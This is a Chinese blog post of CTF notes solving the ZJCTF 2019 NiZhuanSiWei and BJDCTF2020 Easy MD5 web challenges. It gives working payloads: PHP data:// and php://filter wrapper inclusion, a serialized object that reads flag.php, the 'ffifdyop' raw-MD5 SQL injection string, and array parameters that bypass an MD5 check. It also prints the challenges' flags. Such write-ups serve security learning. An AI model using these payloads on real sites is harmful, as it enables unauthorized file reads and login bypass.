CTF做题笔记10

最新推荐文章于 2025-12-29 10:06:20 发布

原创最新推荐文章于 2025-12-29 10:06:20 发布 · 422 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #学习 #网络安全

笔记专栏收录该内容

45 篇文章

订阅专栏

本文介绍了多个CTF（Capture The Flag）挑战，涉及PHP源码解析漏洞和安全机制。首先展示了一个名为NiZhuanSiWei的挑战，其中包含了base64编码和文件包含漏洞。接着，讨论了类 Flag 的使用，通过序列化来触发文件读取。最后，提到了一个条件判断下的隐写术，用于隐藏flag。文章还涵盖了数据库查询与密码验证的MD5用法，以及参数比较与安全防护的实践。

[ZJCTF 2019]NiZhuanSiWei

?text=data://text/pain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php


welcome to the zjctf

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

<?php

class Flag
{  //flag.php  
    public $file;
    public function __tostring()
    {
        if (isset($this->file)) {
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

?text=data://text/pain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

<!--?php

if(2===3){  
	return ("flag{4fa36ffa-92b8-4074-8f79-398074f0cf6d}");
}

?-->

[BJDCTF2020]Easy MD5

select * from 'admin' where password=md5($pass,true)

?password=ffifdyop

param1[]=QNKCDZO&param2[]=s155964671a

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} flag{dfbfa6e9-60e7-40f6-b649-72bafca9fea9}